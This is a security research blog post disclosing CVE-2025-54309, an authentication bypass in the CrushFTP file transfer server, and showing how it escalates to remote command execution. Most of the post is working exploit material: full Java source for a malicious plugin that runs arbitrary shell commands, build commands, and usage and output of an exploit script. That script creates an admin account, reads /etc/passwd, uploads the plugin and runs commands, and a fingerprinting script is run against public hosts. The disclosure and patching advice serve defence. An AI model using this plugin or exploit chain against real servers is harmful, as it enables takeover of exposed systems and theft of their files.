Following the recent release of a proof-of-concept (PoC) by watchTowr Labs, derived from honeypot observations, we have elected to disclose our own independent research into this vulnerability. Our work was conducted earlier and kept private until now. By publishing these findings, our objective is to provide deeper technical insight into the vulnerability, highlight its potential security impact, and demonstrate practical methods of escalating it beyond the initial exploitation scenario.
CrushFTP is a proprietary, multi-protocol, cross-platform file transfer server first introduced in 1999. It is distributed under a shareware model with tiered licensing, serving a wide range of deployments from individual users to large enterprise environments.
A critical flaw exists in CrushFTP versions 10 (prior to 10.8.5) and 11 (prior to 11.3.4_23), affecting the AS2 validation process when the DMZ proxy feature is disabled. Remote attackers can exploit this vulnerability over HTTPS to bypass authentication and gain administrative-level access. This issue was observed being actively exploited in the wild in July 2025.
To quickly set up a CrushFTP test environment, you can use Docker. The following command runs a CrushFTP 11 container with persistent data and exposed HTTP/HTTPS ports:
% docker run \
--platform linux/amd64 \
--name=crushftp11 \
-p 8080:8080 \
-p 443:443 \
-v /tmp/crushftp_data_11:/var/CrushFTP10 \
crushftp/crushftp11:11.3.3_15-dev
--platform linux/amd64
: Ensures the container runs on the specified architecture.--name crushftp11
: Assigns a name to the container for easy management.-p 8080:8080
and -p 443:443
: Exposes the HTTP and HTTPS ports to the host.-v /tmp/crushftp_data_11:/var/CrushFTP10
: Mounts a host directory for persistent CrushFTP data.crushftp/crushftp11:11.3.3_15-dev
: Specifies the version of the CrushFTP 11 Docker image.This setup provides an isolated environment suitable for safely testing CrushFTP and reproducing vulnerabilities.
A search on FOFA and Shodan indicates that between 30,000 and 38,000 CrushFTP instances are publicly accessible.
The authentication bypass vulnerability allows an attacker to perform actions such as creating new accounts or modifying the Virtual File System (VFS) of an account to map directly to the root of the server. This configuration grants access to files outside the intended user directories and enables reading or downloading any file that the CrushFTP server process account has permission to access.
Our analysis sought to determine whether this level of access could be escalated further, with the ultimate goal of achieving remote command execution.
Through further investigation, we identified that the authentication bypass vulnerability can be exploited to deploy a malicious CrushFTP plugin. Once installed, this plugin enables execution of arbitrary code. However, the attack requires a server restart, as CrushFTP only recognizes and loads newly added plugins upon restart.
This section describes the process of developing a custom CrushFTP plugin and compiling it for deployment. It outlines the required environment, source structure, and compilation steps needed to produce a functional plugin that the server can recognize and load upon restart.
To begin, place the CrushFTP.jar
file into the project’s lib
folder. Next, create a directory named CrushCommandPlugin
and add the source file Start.java
inside it. The plugin can then be compiled using the following commands:
% javac -cp "lib/*" -d build CrushCommandPlugin/Start.java
% jar cf CrushCommandPlugin.jar -C build CrushCommandPlugin .
If compilation succeeds, a file named CrushCommandPlugin.jar
will be generated in the current directory. This file represents the packaged plugin that can be deployed to CrushFTP.
Below is a sample implementation of Start.java
, demonstrating the minimal structure of a CrushFTP plugin. In this proof-of-concept (PoC), the plugin enables remote command execution through the cmd
and args
parameters.
package CrushCommandPlugin;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Properties;
import java.util.List;
import java.util.ArrayList;
public class Start implements java.io.Serializable {
private static final long serialVersionUID = 1L;
private Properties settings = new Properties();
public Properties getDefaults() {
Properties p = new Properties();
p.put("enabled", "true");
p.put("webAccessible", "true");
return p;
}
public void setSettings(Properties p) {
this.settings = p;
}
public Properties getSettings() {
return this.settings;
}
// This method is required for web-accessible plugins
public Object run(Properties info) {
try {
if (!"true".equalsIgnoreCase(settings.getProperty("enabled", "false"))) {
return "Plugin is disabled.";
}
String cmd = info.getProperty("cmd", "").trim();
String args = info.getProperty("args", "").trim();
if ("syscmd".equalsIgnoreCase(cmd) && !args.isEmpty()) {
// Split args into command and arguments
List<String> commandList = new ArrayList<>();
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("win")) {
// Windows: use cmd /c to run a full shell command string
commandList.add("cmd");
commandList.add("/c");
commandList.add(args);
} else {
// Unix-like: use /bin/sh -c to run a shell command string
commandList.add("/bin/sh");
commandList.add("-c");
commandList.add(args);
}
com.crushftp.client.Common.log("PLUGIN", 1, "Executing: " + String.join(" ", commandList));
ProcessBuilder pb = new ProcessBuilder(commandList);
pb.redirectErrorStream(true);
Process process = pb.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
int exitCode = process.waitFor();
output.append("Exit code: ").append(exitCode);
reader.close();
String result = output.toString();
return result.isEmpty() ? "No output." : result; // <-- fix: never return null
} else {
return "Usage: cmd=syscmd&args=<your_command>";
}
} catch (Exception e) {
com.crushftp.client.Common.log("PLUGIN", 0, "Plugin error: " + e.toString());
return "Error: " + e.getMessage(); // <-- also ensures non-null
}
}
// Required method for plugin identification
public String toString() {
return "CrushCommandPlugin v1.0";
}
}
The following sequence outlines a methodical approach to exploiting the vulnerability, which we implemented in our proof-of-concept script to demonstrate its practical impact.
The exploitation process follows these steps:
The following command output demonstrates the use of fingerprint_crushftp11.py to determine the version of deployed CrushFTP 11 instances.
% python3 fingerprint_crushftp11.py -t 30 -n 15 -f /tmp/urls.txt
[+] https://x.x.x.x. -> CrushFTP 11 (11.W.772-2025_07_30_10_31) (11.3.5_32)
[+] https://x.x.x.x. -> CrushFTP 11 (11.W.571-2024_12_03_16_31) (11.2.3_6)
[+] https://x.x.x.x. -> CrushFTP 11 (11.W.630-2025_02_06_13_36) (11.2.3_20)
% python3 CVE-2025-54309.py -h
usage: CVE-2025-54309.py [-h] -u URL -U USER -P PASSWORD [--jar JAR] [-v] [--proxy PROXY] [-c COMMAND] --mode {insert,upload,command}
CVE-2025-54309
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Base URL (e.g. https://localhost)
-U USER, --user USER Username to create
-P PASSWORD, --password PASSWORD
Password for new user
--jar JAR Path to JAR file to upload (used in upload mode)
-v, --verbose Enable verbose output
--proxy PROXY Proxy server (e.g. http://127.0.0.1:8081)
-c COMMAND, --command COMMAND
Command to run on target server
--mode {insert,upload,command}
Mode of operation: insert = add user, upload = inherit permissions and upload JAR, command = run command
Command output demonstrating the exploitation of CVE-2025-54309 using the script to create a new user account and mount the Virtual File System (VFS) to the root directory.
% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode insert
[+] Attack successful — account 'admin' created with password 'password'
[+] Login successful: admin:password
[*] Granting access to folder...
[+] Folder access granted successfully.
[+] Attempting to download /etc/passwd.
[+] File download attempt from path: /etc/passwd
[+] Response:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
java:x:65532:65532:Account created by apko:/home/java:/bin/sh
The following screenshot shows the CrushFTP web interface when logging in with the newly created account.
Command output demonstrating the exploitation of CVE-2025-54309 using the script to inherit the permissions of the crushadmin
account and upload a specified CrushFTP plugin.
% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode upload --jar CrushCommandPlugin.jar
[*] Attempting AS2 header bypass...
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 401
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 200
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 401
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 401
[+] Attack successful — account 'admin' inheritance from 'crushadmin'
[+] Uploading CrushCommandPlugin.jar to /app/plugins/CrushCommandPlugin.jar.
http://localhost:8080/?/WebInterface/function/ 404
[+] Upload succeeded: http://localhost:8080/app/plugins/CrushCommandPlugin.jar
In the CrushFTP web interface, it can be observed that the plugin has been successfully installed.
Command output demonstrating the exploitation of CVE-2025-54309 using the script to interact with a CrushFTP plugin for executing system commands, effective after the CrushFTP server is restarted.
% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode command
[+] Login successful: admin:password
[+] Running command on CrushFTP server: uname -a
<commandResult><response>Linux c9fb6d607542 6.14.10-orbstack-00291-g1b252bd3edea #1 SMP Sat Jun 7 02:45:18 UTC 2025 x86_64 Linux
Exit code: 0</response></commandResult>
% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode command -v -c id
[+] Login successful: admin:password
[+] Running command on CrushFTP server: id
<commandResult><response>uid=65532(java) gid=65532(java) groups=65532(java)
Exit code: 0</response></commandResult>
CVE-2025-54309 demonstrates how an authentication bypass can escalate into remote command execution under the CrushFTP process, giving attackers control of the application environment. With active exploitation observed in the wild, timely patching to CrushFTP 10.8.5 or 11.3.4_23+ is critical. Organizations should review account and plugin activity, enforce network segmentation, and apply defense-in-depth strategies.
Ultimately, this vulnerability reinforces a long-standing principle in information security: vulnerabilities rarely exist in isolation. Even seemingly limited scope flaws, such as a single authentication bypass, can be chained with other weaknesses to gain complete control of the affected application and potentially escalate further depending on system privileges. By reducing attack surface and maintaining vigilant patching, organizations can defend not only against this threat, but also against the inevitable vulnerabilities that follow.
Head over to the Foregenix GitHub repository where you can download the python scripts highlighted in this post: https://github.com/foregenix/
Recent cybersecurity breaches demonstrate that solely relying on Penetration Testing when evaluating an organisation's cybersecurity posture is a thing of the past. OrionX offers the most comprehensive security services to stop adversaries disrupting your business.
Keith has extensive experience of information security consulting with over 15 years of work experience with the information security industry. Keith has presented in numerous conferences such as Black Hat, Defcon, Hack the Box, Zeronights, PHDays, Rootcon, CRESTCon and Thotcon.
INFO-Level Findings from Vulnerability Scanners Can Still Pose Real Risks Introduction JFrog Artifactory is a universal artifact repository manager that stores and manages binary artifacts used in ...
During one of our recent penetration tests, we discovered a critical vulnerability in Splunk Enterprise that automated security scanners like Nessus missed. This article underscores why manual ...
We are proud to announce Penelope, a powerful and user-friendly shell handler tool created by Christodoulos Lamprinos. Penelope is designed to streamline the process of handling reverse shells and ...